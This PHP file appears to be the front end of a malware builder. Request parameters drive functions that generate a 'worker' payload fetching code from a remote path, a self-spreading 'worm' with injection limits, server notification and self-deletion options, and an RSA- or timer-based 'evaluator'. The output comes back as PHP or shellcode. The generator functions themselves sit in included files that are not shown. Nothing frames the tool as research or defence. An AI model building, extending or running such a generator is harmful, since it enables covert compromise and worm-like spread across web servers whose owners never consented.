<?php
/**
 * Created by PhpStorm.
 * User: Weizehua
 * Date: 8/9/2016
 * Time: 14:53
 */
require_once("get_code.php");
require_once("evaluator_shell_generator.php");
require_once("worker_generator.php");
require_once("worm_generator.php");

header("Content-Type:text/plain; charset=UTF-8");

function error($why)
{
    echo $why;
    exit(0);
}
$code = "";
if (isset($_REQUEST['action']))
{
    $action = $_REQUEST['action'];
    if ($action == 'generate_worker')
    {
        if (isset($_REQUEST['put_worm']))
        {
            $code = generate_worker($_REQUEST['remote_code_path'], boolval($_REQUEST['put_worm']), $_REQUEST['worm_code']);
        }
        else
        {
            $code = generate_worker($_REQUEST['remote_code_path']);
        }
    }
    else if ($action == 'generate_worm')
    {
        $evaluator_code = "";
        $evaluator_type = $_REQUEST['evaluator_type'];
        if ($evaluator_type == 'rsa')
            $evaluator_code = generate_evaluator_rsa();
        else if ($evaluator_type == 'timer')
            $evaluator_code = generate_evaluator_timer();
        else
            error('evaluator_type error!');
        
        $remote_injected_notifier_path = $_REQUEST['remote_injected_notifier_path'];
        $max_inject = $_REQUEST['max_inject'];
        $notify_server = $_REQUEST['notify_server'] == 'true' ? true : false;
        $worm_code = generate_worm($remote_injected_notifier_path, to_shellcode($evaluator_code), $max_inject, $notify_server);
        $code = $worm_code;
    }
    else if ($action == 'generate_evaluator')
    {
        $evaluator_type = $_REQUEST['evaluator_type'];
        if ($evaluator_type == 'rsa')
            $code = generate_evaluator_rsa();
        else if ($evaluator_type == 'timer')
            $code = generate_evaluator_timer();
        else
            error('evaluator_type error!');
    }
    else if ($action == 'generate_worker_all')
    {
        $evaluator_code = "";
        $evaluator_type = $_REQUEST['evaluator_type'];
        if ($evaluator_type == 'rsa')
            $evaluator_code = generate_evaluator_rsa();
        else if ($evaluator_type == 'timer')
            $evaluator_code = generate_evaluator_timer();
        else
            error('evaluator_type error!');
        
        $worm_code = "";
        $remote_injected_notifier_path = $_REQUEST['remote_injected_notifier_path'];
        $max_inject = $_REQUEST['max_inject'];
        $notify_server = $_REQUEST['notify_server'] == 'true' ? true : false;
        $worm_delete_self = $_REQUEST['worm_delete_self'] == 'true' ? true : false;
        $worm_code = generate_worm($remote_injected_notifier_path, to_shellcode($evaluator_code), $max_inject, $notify_server, $worm_delete_self);
        
        $worker_code = "";
        $remote_code_path = $_REQUEST['remote_code_path'];
        $put_worm = $_REQUEST['put_worm'] == 'true' ? true : false;
        $worker_delete_self = $_REQUEST['worker_delete_self'] == 'true' ? true : false;
        $worker_code = generate_worker($remote_code_path, $put_worm, $worm_code, true, true, true, $worker_delete_self);
        $code = $worker_code;
    }
    else
    {
        echo 'action error';
        exit(0);
    }
}
else
{
    echo 'params error';
    exit(0);
}

if(isset($_REQUEST['output_shellcode']) && $_REQUEST['output_shellcode'] == 'true')
{
    echo to_shellcode($code);
}
else
{
    echo "<?php\r\n$code";
}
